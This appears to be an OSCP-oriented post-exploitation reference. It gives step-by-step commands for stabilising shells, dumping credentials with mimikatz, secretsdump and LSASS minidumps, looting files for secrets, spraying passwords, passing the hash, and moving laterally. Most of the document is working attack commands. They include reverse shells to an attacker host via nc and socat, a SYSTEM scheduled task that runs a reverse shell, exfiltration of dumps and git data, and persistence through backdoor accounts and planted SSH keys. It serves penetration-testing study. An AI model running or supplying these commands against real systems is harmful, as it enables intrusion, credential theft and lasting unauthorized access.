Post-Exploitation Reference

Scope: What to do on EVERY machine you land on — stabilize, loot, move laterally. This covers: shell upgrades, flag grabbing, credential dumping (memory + filesystem), spraying, and lateral movement to the NEXT machine.

⚠️ Run the loot checklist (Step 2b) TWICE: once as low-priv (might find creds that skip privesc), once after getting admin (for lateral movement).


Immediately After Landing (Any Shell)

Step 1 — Upgrade Shell (Linux only — CRITICAL)

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter Enter
export TERM=xterm; stty rows 50 cols 200

Fallback when python isn’t installed (Alpine, minimal containers, BusyBox):

script -qc /bin/bash /dev/null            # util-linux script
SHELL=/bin/bash script -q /dev/null       # alt form
# OR socat (if available on target):
# Kali:   socat file:`tty`,raw,echo=0 tcp-listen:4444
# Target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:KALI:4444

Windows: use rlwrap nc -lvnp 443 when catching shells. If you’re in evil-winrm you’re already stable.

Step 2 — Identify What You Are

# Linux
whoami && id
hostname
ip a; ip route
uname -a
cat /etc/os-release
# Windows (works in both CMD and PS)
whoami /all
whoami /priv          # ← decides privesc path (table below)
hostname
ipconfig /all
systeminfo

Windows privilege → privesc path (read whoami /priv output):

Privilege enabledPath
SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilegeGodPotato / PrintSpoofer / EfsPotato → SYSTEM
SeBackupPrivilegereg save HKLM\SAM + HKLM\SYSTEM → secretsdump offline
SeRestorePrivilegeWrite to protected files (overwrite SAM, replace SUID-equivalent)
SeTakeOwnershipPrivilegeTake ownership of any file → modify it
SeDebugPrivilegemimikatz / lsass dump
SeLoadDriverPrivilegeLoad malicious signed driver (Capcom etc.)
SeManageVolumePrivilegeSeManageVolumeExploit → write anywhere → DLL hijack

Step 3 — Grab User Flag

# Linux — modern OSCP uses local.txt + proof.txt; some labs/older uses user.txt
find / \( -name local.txt -o -name user.txt -o -name proof.txt \) 2>/dev/null \
  | xargs -I{} sh -c 'echo "=== {} ==="; cat {}'
find / -name "*.txt" 2>/dev/null | grep -iE "local|proof|flag|user"
# Windows — thorough search (checks ALL users, not just current)
Get-ChildItem -Path C:\ -Recurse -Include "local.txt","proof.txt","user.txt" -EA SilentlyContinue | ForEach-Object { Write-Host "--- $($_.FullName) ---"; Get-Content $_ }
# Or from CMD:
dir /s /b C:\local.txt C:\proof.txt C:\user.txt 2>nul

After Root/Admin

Step 1 — Grab Proof Flag (Screenshot with all four outputs visible)

# Linux
whoami && hostname && ip a && cat /root/proof.txt
# Windows (PS — use semicolons, NOT &&)
whoami; hostname; ipconfig; type C:\Users\Administrator\Desktop\proof.txt

Step 2 — Dump ALL Credentials (Memory + Registry)

Remote from Kali (best option — do this FIRST if you have admin creds):

impacket-secretsdump 'DOMAIN/user:pass'@TARGET
# Gets: SAM hashes, cached DCC2 domain creds, LSA secrets — all in one shot
# Finds things mimikatz misses (cached creds from users not currently logged in)

Mimikatz on target (for creds currently in memory):

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

SAM/SYSTEM backup (if secretsdump not available):

reg save hklm\sam C:\Windows\Temp\SAM
reg save hklm\system C:\Windows\Temp\SYSTEM
# Download to Kali: download C:\Windows\Temp\SAM

Step 2b — Loot the Filesystem (EVERY machine, EVERY time)

⚠️ This step catches what mimikatz/WinPEAS/secretsdump MISS. Credential files, log files with hashes, SSH keys, hidden notes — these only come from manual filesystem enumeration. Skip this = miss the next hop.

WINDOWS — 5-minute loot checklist:

# 1. What's on this box? Look for non-default directories
dir C:\
# Anything not Windows, Program Files, Users, PerfLogs, ProgramData = investigate it

# 2. List ALL user profiles (check every one, not yours)
dir C:\Users

# 3. Search user profiles for interesting files (noise-filtered, adds script/config extensions)
Get-ChildItem C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.config,*.log,*.kdbx,*.doc,*.docx,*.xlsx,*.ps1,*.bat,*.cmd,*.json,*.yml,*.sql -Force -EA SilentlyContinue | Where-Object { $_.FullName -notlike '*\All Users\*' -and $_.FullName -notlike '*\Default\*' -and $_.FullName -notlike '*\Public\*' -and $_.FullName -notlike '*\AppData\Local\Microsoft\*' -and $_.FullName -notlike '*\AppData\Local\Packages\*' -and $_.FullName -notlike '*\AppData\Roaming\Microsoft\*' } | Select -Expand FullName
# Without the Where-Object, this returns ~500 lines of UEV templates / Edge logs / device XMLs

# 4. Search file CONTENTS for credential keywords (path + line# + matched text)
Get-ChildItem C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.config,*.log,*.ps1,*.bat,*.cmd,*.json,*.yml,*.sql,*.php -Force -EA SilentlyContinue | Where-Object { $_.FullName -notlike '*\All Users\*' -and $_.FullName -notlike '*\Default\*' -and $_.FullName -notlike '*\Public\*' -and $_.FullName -notlike '*\AppData\Local\Microsoft\*' -and $_.FullName -notlike '*\AppData\Local\Packages\*' -and $_.FullName -notlike '*\AppData\Roaming\Microsoft\*' -and $_.Length -lt 5MB } | Select-String -Pattern 'password|passw|pwd|credential|secret|apikey|api_key|token|bearer|ntlm|connectionstring' -List | ForEach-Object { "{0}:{1}: {2}" -f $_.Path, $_.LineNumber, $_.Line.Trim() }
# 5MB cap prevents hangs on giant logs. Line number + matched text tells you if it's a real hit before opening

# 5a. GLANCE — top-level artifacts (any extension, depth 1). Catches admin's leftover notes/installers/scripts. Usually 5-15 lines. Fast.
# ⚠️ KEEP AS SINGLE LINE. Multi-line with `-and` at EOL triggers evil-winrm's `>>` continuation prompt and looks frozen.
Get-ChildItem C:\ -Depth 1 -Force -EA SilentlyContinue | Where-Object { -not $_.PSIsContainer -and $_.FullName -notmatch '^C:\\(Windows|Program Files|Program Files \(x86\)|ProgramData|Users|\$Recycle\.Bin|PerfLogs|System Volume Information|Recovery)\\' -and $_.Name -notmatch '^(BOOTNXT|bootmgr|DumpStack|NTUSER|ntuser)' -and $_.Name -notmatch '\.(sys|bmp|dat|tpl|lnk)$' -and $_.Name -notmatch '^(changelog|license|licence|readme|install|unins[^.]*|wampmanager|quit_wampserver|restart_wampserver|uninstall_services)(\.|$)' } | ForEach-Object { "{0,10}  {1}" -f $_.Length, $_.FullName }

# 5b. DEEP — recursive sweep with vendor/doc/translation noise filter. ~5 lines on vanilla DC, ~50-100 on LAMP/WAMP boxes.
# ⚠️ TAKES 30-60s on a fresh C:\ drive with ZERO intermediate output (pipeline buffers until done). Not hung — be patient. If it feels too slow in evil-winrm, run via nxc from Kali for interruptibility.
# ⚠️ SINGLE LINE — same `>>` prompt reason as 5a.
Get-ChildItem C:\ -Recurse -Depth 6 -Include *.txt,*.log,*.config,*.bak,*.ps1,*.bat,*.cmd,*.json,*.sql,*.zip,*.ini,*.xml,*.yml,*.yaml,*.conf,*.env -Force -EA SilentlyContinue | Where-Object { $_.FullName -notmatch '^C:\\(Windows|Program Files|Program Files \(x86\)|ProgramData|Users|\$Recycle\.Bin)\\' -and $_.FullName -notmatch '\\(doc|docs|_sources|sample|samples|example|examples|manual|locale|vendor|node_modules|bower_components|test|tests|__tests__|language|lang|themes|libraries|tcpdf|build|dist|fonts|aptana|speedfan|phone-codes)\\' -and $_.FullName -notlike '*\conf\original\*' -and $_.FullName -notlike '*\sql\create_*' -and $_.FullName -notlike '*\sql\upgrade_*' -and $_.FullName -notlike '*\bin\mysql*\share\*' -and $_.FullName -notlike '*\bin\mariadb*\share\*' -and $_.Name -notmatch '^(changelog|license|licence|readme|install|copyright|authors|contributors|credits|todo|news|snapshot|notice|changes|composer|package|package-lock|babel\.config|bower|gulpfile|gruntfile|robots|wampserver)\.' -and $_.Name -notmatch '^(ABOUT_|OPENSSL-|ReadMe|DO_NOT_DELETE|readme-redist-bins|phar\.phar|ddl_recovery)' -and $_.Name -notmatch '^\.(travis|csscomb|eslintrc|editorconfig|gitignore|gitattributes)' } | Select -Expand FullName

# 6. PowerShell history (CHECK FIRST — most common OSCP cred source)
# ⚠️ Use -LiteralPath $_.FullName — bare `Get-Content $_` coerces FileInfo to .Name (not .FullName) and resolves relative to CWD, silently failing from C:\Windows\system32
# ⚠️ Skip \Application Data\ — it's a WinXP-compat junction pointing to \AppData\Roaming, so every history file shows up twice
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -Force -EA SilentlyContinue | Where-Object { $_.FullName -notlike '*\Application Data\*' } | ForEach-Object { "=== $($_.FullName) ==="; Get-Content -LiteralPath $_.FullName }

# 7. Known credential locations (query DefaultPassword explicitly + sysprep alt paths)
Get-Content C:\inetpub\wwwroot\web.config -EA SilentlyContinue
Get-ChildItem C:\Windows\Panther\Unattend.xml, C:\Windows\Panther\Unattended.xml, C:\Windows\System32\sysprep\unattend.xml, C:\sysprep.inf, C:\sysprep\sysprep.xml -EA SilentlyContinue | Get-Content
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName 2>$null
	reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword 2>$null
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon 2>$null
# ⚠️ AutoAdminLogon=1 with no DefaultPassword visible → password may be in LSA Secrets (reg save SECURITY + secretsdump offline)

# 8. SSH keys + configs + authorized_keys
Get-ChildItem C:\Users -Recurse -Include id_rsa,id_ed25519,id_ecdsa,id_dsa,*.pem,*.key,*.ppk,authorized_keys,known_hosts -Force -EA SilentlyContinue | Select -Expand FullName

WINDOWS — CMD fallbacks (when PowerShell wont load or hangs):

Use CMD when: your prompt shows C:\> and typing powershell hangs or errors. This happens with raw nc.exe shells.

:: 1. Non-default directories
dir C:\
dir C:\Users

:: 2. Search filenames for interesting files (filter AppData/default junk — ~700 raw → ~20 filtered on a real box)
:: ⚠️ findstr /c: patterns must NOT end with \" — findstr's CRT parser reads \" as an escaped quote, breaks quoting. Drop the trailing backslash.
dir /s /b C:\Users\*.txt C:\Users\*.log C:\Users\*.config C:\Users\*.ini C:\Users\*.kdbx 2>nul | findstr /v /i /c:"\AppData\Local\Microsoft" /c:"\AppData\Local\Packages" /c:"\AppData\Roaming\Microsoft" /c:"\All Users" /c:"\Default" /c:"\Public"
dir /s /b C:\*.bak C:\*.old C:\*.sql 2>nul | findstr /v /i /c:"\Windows\" /c:"\Program Files"

:: 3. Search file CONTENTS for credentials (same filter — findstr /si is SLOW, may take 30s+ on big profiles)
findstr /si "password credential hash ntlm secret connectionstring" C:\Users\*.txt C:\Users\*.log C:\Users\*.config C:\Users\*.xml C:\Users\*.ini 2>nul | findstr /v /i /c:"\AppData\Local\Microsoft" /c:"\AppData\Local\Packages" /c:"\AppData\Roaming\Microsoft" /c:"\All Users" /c:"\Default" /c:"\Public"

:: 4. PowerShell history (works in CMD)
type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
:: Check ALL users
for /d %u in (C:\Users\*) do @type "%u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul

:: 5. Known credential locations (query specific /v values, not the whole key — way less noise)
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\System32\sysprep\unattend.xml 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon 2>nul

:: 5b. AutoAdminLogon=1 but DefaultPassword "not found" or access denied → password is in LSA Secrets.
:: Sysinternals Autologon.exe writes to LSA, NOT the reg value. Dump the hives (needs SYSTEM):
::   reg save HKLM\SYSTEM   C:\Windows\Temp\sys.sav
::   reg save HKLM\SECURITY C:\Windows\Temp\sec.sav
:: Exfil both, then on Kali: impacket-secretsdump -system sys.sav -security sec.sav LOCAL
:: Look for "DefaultPassword" in the LSA Secrets block of the output.

:: 6. SSH keys
dir /s /b C:\Users\*.pem C:\Users\*.key C:\Users\*id_rsa C:\Users\*id_ed25519 2>nul

:: 7. Find git repos (devs commit passwords then delete them - git remembers)
dir /s /b /ad C:\*.git 2>nul
:: Also use dir /a to show HIDDEN files/dirs (.git is hidden)
:: dir /a C:\xampp\htdocs
:: dir /a C:\inetpub\wwwroot
:: dir /a C:\xampp\htdocs
:: dir /a C:\inetpub\wwwroot
:: /a shows hidden dirs like .git
:: Once you find .git, go to its PARENT folder and run:
:: git log --oneline
:: git log -p | findstr /i "password secret key token credential"
:: git show COMMIT_HASH

:: 8. Saved credentials
cmdkey /list
:: If cmdkey shows saved Administrator/DOMAIN creds → runas with /savecred (no password prompt):
:: runas /savecred /user:Administrator "cmd.exe /c C:\Windows\Temp\nc.exe KALI 443 -e cmd.exe"
:: runas /savecred /user:DOMAIN\Admin "powershell -enc <BASE64_REVSHELL>"

:: 9. Network
ipconfig /all
netstat -ano | findstr LISTENING

:: 10. Privileges (for potato attacks)
whoami /all

:: 11. Running services (for binary hijack)
sc query state= all | findstr SERVICE_NAME
wmic service get name,pathname,startmode | findstr /i "auto"

:: 12. Scheduled tasks
schtasks /query /fo LIST /v | findstr /i "task run command" 2>nul

Tip: If PowerShell hangs, try powershell -ep bypass -c "command" for single commands. If even that fails, stay in CMD.

LINUX — 5-minute loot checklist:

# 1. Shadow file
cat /etc/shadow 2>/dev/null

# 2. History files (all users)
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null

# 3. SSH keys (lateral movement to other machines)
find / -name id_rsa -o -name id_ed25519 -o -name "*.pem" -o -name "*.key" 2>/dev/null
ls -la /home/*/.ssh/ /root/.ssh/ 2>/dev/null

# 4. Files with credentials in content
find / -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.log" -o -name "*.bak" -o -name "*.txt" 2>/dev/null | xargs grep -li "password\|credential\|secret\|hash" 2>/dev/null

# 5. Database files
find / -name "*.db" -o -name "*.sqlite" -o -name "*.kdbx" 2>/dev/null

# 6. Web app configs
find / -name "config.php" -o -name ".env" -o -name "wp-config.php" -o -name "web.config" 2>/dev/null

# 7. Git repos (old creds in commit history)
find / -name ".git" -type d 2>/dev/null

# 8. Internal connections
ss -antp; cat /etc/hosts; ip route
  • Check 1 (non-default dirs) → C:\DevelopmentExecutables\ with auditTracker.exe
  • Check 7 (known locations) → web.config with SA password on WEB02
  • Check 8 (SSH keys) → mario’s id_rsa on VPN box → only path to NTP machine

The rule: if you skip filesystem looting, you WILL miss credentials. Mimikatz only finds what’s in memory right now. The filesystem has everything that was ever saved.

Step 3 — Enumerate Network for Pivoting

# Linux
ip a; ip route; arp -a; cat /etc/hosts
for i in $(seq 1 254); do (ping -c 1 -W 1 10.10.10.$i | grep "bytes from" &); done; wait
# Windows (PS)
ipconfig /all
route print
arp -a
1..254 | % {Test-Connection "10.10.10.$_" -Count 1 -Quiet -TimeoutSeconds 1}

Step 4 — SPRAY Every Credential Found

# Spray ALL protocols — some users have access on one but not others
nxc smb <SUBNET>/24 -u users.txt -p passes.txt --continue-on-success
nxc winrm <SUBNET>/24 -u users.txt -p passes.txt --continue-on-success
nxc rdp <SUBNET>/24 -u users.txt -p passes.txt --continue-on-success
nxc ssh <SUBNET>/24 -u users.txt -p passes.txt --continue-on-success

# PtH with hashes
nxc smb <SUBNET>/24 -u 'found_user' -H '<found_hash>' --continue-on-success

Look for (Pwn3d!) → that’s your next machine to dump creds from.

Step 5 — Lateral Movement from Inside the Domain (no Ligolo needed)

If you’re on a domain-joined Windows box via evil-winrm, you can reach other domain machines directly:

# Run commands on other machines as a different user
$pass = ConvertTo-SecureString 'Password!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $pass)
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { whoami; hostname; type C:\Users\Administrator\Desktop\proof.txt }

⚠️ You can’t nest Enter-PSSession inside evil-winrm — use Invoke-Command instead.

Impacket suite from Kali (alternatives by protocol/visibility):

impacket-psexec   'DOMAIN/user:pass'@TARGET            # SMB → service → SYSTEM (loud, creates service)
impacket-wmiexec  'DOMAIN/user:pass'@TARGET            # WMI, no service, lower noise — try FIRST
impacket-atexec   'DOMAIN/user:pass'@TARGET 'whoami'   # scheduled task, blind exec, very stealthy
impacket-smbexec  'DOMAIN/user:pass'@TARGET            # SMB pipe, fallback when others fail

# Pass-the-Hash (no plaintext password):
impacket-psexec  'DOMAIN/user'@TARGET -hashes :<NTHASH>
impacket-wmiexec 'DOMAIN/user'@TARGET -hashes :<NTHASH>

# WinRM (5985/5986) — most stable, but requires Remote Management Users membership:
evil-winrm -i TARGET -u USER -p 'PASS'
evil-winrm -i TARGET -u USER -H <NTHASH>

Shell Stability — Windows

Step 1 — Check if WinRM is available

# On target
netstat -ano | findstr 5985

If open → switch to evil-winrm. It’s far more stable and has built-in upload/download:

# From Kali
evil-winrm -i <TARGET> -u 'USER' -p 'PASS'

Step 2 — If WinRM not available, spawn a second shell

:: Detached nc.exe — survives if your first shell dies (CMD)
start /b C:\Windows\Temp\nc.exe KALI_IP 443 -e cmd.exe
# Scheduled task — runs as SYSTEM (PS)
schtasks /create /tn "update" /tr "C:\Windows\Temp\nc.exe KALI_IP 443 -e cmd.exe" /sc onstart /ru SYSTEM /f
schtasks /run /tn "update"

Running Commands as Independent Processes (not child of your shell)

If a command hangs your shell (long scans, reverse shells, file transfers), run it as a detached process so you can keep working:

CMD:

:: start /b = runs in background, doesn't block your shell
start /b C:\Windows\Temp\nc.exe KALI_IP 443 -e cmd.exe
start /b C:\Windows\Temp\chisel.exe client KALI:9999 R:socks
start /b ping -t KALI_IP

:: start (without /b) = opens in new window (only works with GUI/RDP)
start cmd /c "C:\Windows\Temp\nc.exe KALI_IP 443 -e cmd.exe"

PowerShell:

# Start-Process = launches independent process, returns control immediately
Start-Process -FilePath "C:\Windows\Temp\nc.exe" -ArgumentList "KALI_IP 443 -e cmd.exe" -WindowStyle Hidden
Start-Process -FilePath "C:\Windows\Temp\chisel.exe" -ArgumentList "client KALI:9999 R:socks" -NoNewWindow

# Jobs (background tasks within PowerShell)
Start-Job -ScriptBlock { C:\Windows\Temp\nc.exe KALI_IP 443 -e cmd.exe }
Get-Job              # check status
Stop-Job -Id 1       # kill it

Linux:

# & = background, nohup = survives shell death
nohup ./chisel client KALI:9999 R:socks &
./nc KALI 443 -e /bin/bash &

# disown = detach from current shell (process survives if shell dies)
./long_running_command &
disown

Scheduled task (Windows — runs as SYSTEM, fully independent):

schtasks /create /tn "update" /tr "C:\Windows\Temp\nc.exe KALI_IP 443 -e cmd.exe" /sc onstart /ru SYSTEM /f
schtasks /run /tn "update"

⚠️ GodPotato/PrintSpoofer shells are unstable — they spawn a child process that dies when the parent exits. If you get SYSTEM via Potato, immediately create an admin user or catch a second reverse shell as SYSTEM rather than trying to work in the Potato shell.

Netstat filtering

# These work in both CMD and PS
netstat -ano | findstr LISTENING       # all listening ports
netstat -ano | findstr "127.0.0.1"     # localhost-only services
netstat -ano | findstr ":8000"         # specific port

CMD vs PowerShell Quick Reference

If you’re confused about which syntax to use, check your prompt: C:\> = CMD. PS C:\> = PowerShell.

What you wantCMDPowerShell
Chain commands&& or &;
Suppress errors2>nul2>$null or -ErrorAction SilentlyContinue
Environment vars%APPDATA%$env:APPDATA
Find files recursivelydir /s /b C:\*.kdbxGet-ChildItem -Path C:\ -Recurse -Filter *.kdbx
Search file contentsfindstr /si "pass" *.txtSelect-String -Pattern "pass" -Path *.txt
Read filetype file.txtGet-Content file.txt
Switch to CMDN/Acmd.exe (type cmd to drop to CMD)
Switch to PSpowershell -ep bypassN/A

Tip: If a PS command isn’t working, type cmd.exe to drop into CMD and use CMD syntax instead.


Looting Priority Order (after getting root/admin)

1. FLAGS      → screenshot proof.txt/local.txt with whoami+hostname+ip
2. HASHES     → SAM, shadow, Mimikatz, secretsdump
3. CREDENTIALS → config files, history, registry, AppData
4. SSH KEYS   → private keys for other machines
5. NETWORK    → other interfaces, routes, connections → pivot?
6. DOCUMENTS  → anything interesting in user directories
7. DATABASES  → web app databases with user tables

Every credential you find could be the key to the next machine. ALWAYS spray everywhere.


Check Domain Status (is this machine domain-joined?)

:: Works in both CMD and PS:
systeminfo | findstr /i "domain"
net user /domain
whoami /all

Linux Credential Dump (expanded)

# Shadow file (readable as root)
cat /etc/shadow
# Crack: john --wordlist=rockyou.txt shadow.txt or hashcat -m 1800

# Config files with passwords
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
find / -name "*.php" -exec grep -l "password" {} \; 2>/dev/null
find / -name "config.php" 2>/dev/null
find / -name ".env" 2>/dev/null
find / -name "*.bak" 2>/dev/null

# Database files
find / -name "*.db" -o -name "*.sqlite" -o -name "*.kdbx" 2>/dev/null

# Git repos (devs commit passwords then delete them - git remembers)
find / -name ".git" -type d 2>/dev/null
# Common locations: /var/www, /opt, /srv, /home/*/projects, web roots
# Once found, go to PARENT folder:
cd /path/to/repo
git log --oneline
git log -p | grep -i "password\|secret\|key\|token\|credential"
git show COMMIT_HASH    # shows full diff with deleted content
# Deleted files still exist in git history - thats the whole point

# IF GIT IS NOT INSTALLED on the target (common on Windows):
# Option 1: tar + nc transfer to Kali
#   Target: tar -czf git.tar.gz .git
#           nc.exe KALI_IP 9999 < git.tar.gz
#   Kali:   nc -lvnp 9999 > git.tar.gz
#           mkdir /tmp/repo; cd /tmp/repo; tar xzf git.tar.gz; git log -p
#
# Option 2: Read git log manually (no transfer needed)
#   type C:\path\.git\logs\HEAD
#   Shows commit hashes and messages in plain text
#
# Option 3: findstr on .git objects (sometimes works on text blobs)
#   findstr /s /i "password secret email" C:\path\.git\*
#
# > Used tar + nc to transfer .git to Kali. git log -p revealed deleted email creds.

# SSH keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# All users' history
cat /home/*/.bash_history
cat /root/.bash_history

# Connections to other machines
ss -antp
cat /etc/hosts

Windows Credential Dump (expanded)

# From Kali — remote dump (best option, no upload needed)
impacket-secretsdump 'DOMAIN/USER:PASS'@TARGET
impacket-secretsdump 'DOMAIN/USER'@TARGET -hashes :NTHASH

# NetExec remote dump
nxc smb TARGET -u USER -p 'PASS' --sam       # local hashes
nxc smb TARGET -u USER -p 'PASS' --lsa       # LSA secrets
nxc smb DC_IP -u USER -p 'PASS' --ntds       # ALL domain hashes (DC only)

Mimikatz on target (when you need it locally):

# ALWAYS use inline commands — interactive mimikatz hangs in evil-winrm/nc shells
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /user:DOMAIN\Administrator" "exit"

⚠️ NEVER run mimikatz without the inline commands + “exit” — it opens an interactive mimikatz # prompt that hangs evil-winrm. Same problem as mysql without -e and sqlcmd without -Q.

When mimikatz is blocked by AV — dump LSASS offline:

:: 1. Dump lsass.exe with procdump (signed Sysinternals, often whitelisted)
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
:: Or via PowerShell + comsvcs.dll (LOLBin, no upload):
powershell -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full"
# 2. Exfil + parse offline on Kali
impacket-pypykatz lsa minidump lsass.dmp
# Or: python3 -m pypykatz lsa minidump lsass.dmp

Shadow Copy → SAM/SYSTEM (when files are locked + secretsdump unavailable):

:: Create shadow copy, copy SAM/SYSTEM out, exfil
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\
:: Then on Kali:
:: impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Reading mimikatz output — what to care about:

  • Ignore machine accounts (ending in $), UMFD-*, DWM-*, LOCAL SERVICE
  • Care about: real usernames, Administrator, any domain user
  • Look for NTLM hashes → PtH immediately
  • No plaintext passwords? Normal on modern Windows

Persistence (if you need stable access)

Linux

# Add SSH key (stealthiest)
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys
# From Kali: ssh root@TARGET

# Add user with root UID
useradd -ou 0 -g 0 backdoor
echo "backdoor:password" | chpasswd

Windows

:: Add admin user
net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add
net localgroup "Remote Management Users" hacker /add

:: Enable RDP (if disabled)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

The 3 Principles That Pass the Exam

  1. Enumerate before you exploit. Full port scans. Every service version. Every page source. Every SMB share.

  2. Credential reuse is your superpower. Every password, hash, and SSH key → test against every other machine immediately.

  3. Don’t fight the clock. Stuck 90 minutes? Move on. 70 points passes — you can skip one standalone.